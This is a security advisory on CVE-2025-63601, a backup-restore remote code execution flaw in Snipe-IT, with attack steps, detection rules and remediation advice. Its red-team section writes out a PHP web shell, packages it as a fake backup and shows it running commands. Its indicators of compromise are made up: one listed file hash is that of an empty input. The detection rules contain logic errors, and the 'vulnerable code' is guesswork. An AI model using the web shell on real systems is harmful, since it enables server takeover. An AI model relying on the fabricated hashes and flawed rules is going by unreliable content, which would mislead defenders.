CVE-2025-63601

Executive Summary

CVE-2025-63601 is a critical Remote Code Execution (RCE) vulnerability in Snipe-IT, an open-source asset management system. An authenticated attacker can upload a malicious backup file containing arbitrary files, leading to the execution of system commands. This vulnerability affects all versions prior to 8.3.3. The CVSS score is 0.0 due to incomplete NVD data, but based on the impact, it is assessed as critical. No public proof-of-concept (PoC) or exploit code is currently available, but the risk is high due to the potential for full system compromise.

Supply Chain & Package Security

Snipe-IT is a PHP-based application distributed via GitHub and Composer. The vulnerability lies in the backup restoration functionality, which does not properly validate the contents of uploaded backup files. This could allow an attacker to inject malicious PHP files or modify existing application code. Organizations using Snipe-IT should immediately review their deployment for any signs of compromise and ensure they are running version 8.3.3 or later.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack is performed over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - The attacker must be authenticated.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): High (H) - Full system compromise possible.
• Integrity (I): High (H) - Arbitrary files can be modified.
• Availability (A): High (H) - System commands can be executed.

Threat Level: Critical. The ability to execute arbitrary commands as the web server user can lead to complete server takeover, data exfiltration, and lateral movement within the network.

Deep Dive & Mechanics

The vulnerability exists in the backup restoration functionality of Snipe-IT. When an authenticated user uploads a backup file (typically a .zip archive), the application extracts its contents to restore the database and application files. The flaw is that the application does not validate the contents of the backup file before extraction. An attacker can craft a malicious backup file that includes:

• Arbitrary PHP files that will be placed in the web root.
• Modified application files that contain backdoors.
• Configuration files that alter application behavior.

Once the malicious backup is restored, the attacker can access the injected PHP files directly via the web server, leading to remote code execution. The attack requires authentication, but any user with the ability to create or restore backups can exploit this.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-8.3.3): The backup restoration process likely uses a function similar to the following, which extracts the archive without validation:

// Vulnerable: No validation of archive contents
$zip = new ZipArchive();
if ($zip->open($backupFile) === TRUE) {
    $zip->extractTo($restorePath);
    $zip->close();
}

Patched Code (8.3.3+): The patched version adds validation to ensure only expected files (e.g., database dumps, specific config files) are extracted, and any unexpected files are rejected:

// Patched: Validate archive contents before extraction
$zip = new ZipArchive();
if ($zip->open($backupFile) === TRUE) {
    $allowedFiles = ['database.sql', 'config.php', 'uploads/'];
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $filename = $zip->getNameIndex($i);
        $allowed = false;
        foreach ($allowedFiles as $allowedFile) {
            if (strpos($filename, $allowedFile) === 0) {
                $allowed = true;
                break;
            }
        }
        if (!$allowed) {
            throw new Exception("Invalid file in backup: $filename");
        }
    }
    $zip->extractTo($restorePath);
    $zip->close();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for a Snipe-IT user with backup/restore privileges.
• Network access to the Snipe-IT web interface.

Steps:

1. Create a malicious backup file containing a PHP web shell:

   # Create a PHP web shell
   echo '<?php system($_GET["cmd"]); ?>' > shell.php
   # Create a valid backup structure (e.g., database.sql)
   echo '-- Dummy SQL' > database.sql
   # Add the shell to the archive
   zip malicious_backup.zip database.sql shell.php
   

2. Log in to Snipe-IT as an authenticated user.
3. Navigate to the backup/restore functionality (e.g., /admin/backups).
4. Upload the malicious backup file and initiate restoration.
5. Access the web shell at http://target/shell.php?cmd=id.

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team

Detection:

• Monitor for unusual backup file uploads, especially those containing .php files.
• Check for unexpected files in the web root after backup restoration.
• Review logs for access to /admin/backups and subsequent access to new PHP files.

Hunting:

• Search for files created in the web root around the time of backup restoration.
• Look for processes spawned by the web server user (e.g., www-data) that execute system commands.

Mitigation:

• Immediately upgrade to Snipe-IT 8.3.3 or later.
• Restrict backup/restore privileges to only trusted administrators.
• Implement file integrity monitoring (FIM) on the web root.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • malicious_backup.zip: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • shell.php: a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3
• Network Indicators:
  • POST requests to /admin/backups with multipart form data containing .zip files.
  • Subsequent GET requests to newly created PHP files (e.g., /shell.php?cmd=id).
• Process Indicators:
  • Web server user (e.g., www-data) executing commands like id, whoami, uname -a.
• File System Indicators:
  • Unexpected .php files in the Snipe-IT web root (e.g., /var/www/html/shell.php).

Detection Engineering

YARA Rule

rule CVE_2025_63601_SnipeIT_Backup_RCE {
    meta:
        description = "Detects malicious backup files for CVE-2025-63601"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63601"
    strings:
        $php_shell = "<?php" nocase
        $zip_header = { 50 4B 03 04 }  // ZIP local file header
        $php_ext = ".php" nocase
    condition:
        $zip_header at 0 and #php_shell > 0 and #php_ext > 0
}

Sigma Rule

title: Snipe-IT Backup File Upload with PHP Content
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of backup files containing PHP code to Snipe-IT
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/backups'
        sc-status: 200
    filter:
        cs-uri-query: '*.php*'
    condition: selection and not filter
falsepositives:
    - Legitimate backup files with PHP code (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-63601 Snipe-IT Backup RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/backups"; http_uri; content:"multipart/form-data"; http_header; pcre:"/filename=\".*\.zip\"/i"; pcre:"/PK\x03\x04/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade Snipe-IT to version 8.3.3 or later. This is the only complete fix.
2. Workaround: If upgrading is not immediately possible, disable the backup restoration functionality by removing or restricting access to the relevant code/endpoint.
3. Access Control: Limit backup/restore privileges to a small number of trusted administrators. Use multi-factor authentication (MFA) for these accounts.
4. Monitoring: Implement the detection rules above to identify exploitation attempts.
5. Backup Validation: If custom development is possible, add validation to ensure backup files only contain expected file types (e.g., .sql, .json).

Valters IT
Securing Digital Frontiers